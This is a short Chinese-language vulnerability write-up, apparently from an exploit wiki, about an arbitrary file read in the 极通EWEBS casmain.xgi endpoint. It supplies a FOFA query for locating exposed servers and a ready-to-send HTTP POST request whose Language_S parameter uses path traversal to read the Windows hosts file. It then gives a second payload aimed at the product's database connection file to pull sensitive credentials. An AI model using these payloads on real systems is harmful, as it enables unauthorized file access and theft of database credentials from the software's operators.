极通EWEBS casmain.xgi 任意文件读取漏洞

漏洞描述

极通EWEBS casmain.xgi 任意文件读取漏洞,攻击者通过漏洞可以读取任意文件

漏洞影响

[!NOTE]

极通EWEBS

FOFA

[!NOTE]

app="新软科技-极通EWEBS"

漏洞复现

登录页面如下

image-20210615125923544

漏洞请求包为

POST /casmain.xgi HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=923b86fa90ce1e14c82d4e36d1adc528; CookieLanguageName=ZH-CN
Content-Length: 57

Language_S=../../../../windows/system32/drivers/etc/hosts

image-20210615130137932

可以配合 testweb.php 信息泄露读取敏感信息

Language_S=../../Data/CONFIG/CasDbCnn.dat
PeiQi WiKi文库 all right reserved,powered by Gitbook文件更新时间: 2021-06-15 13:11:23

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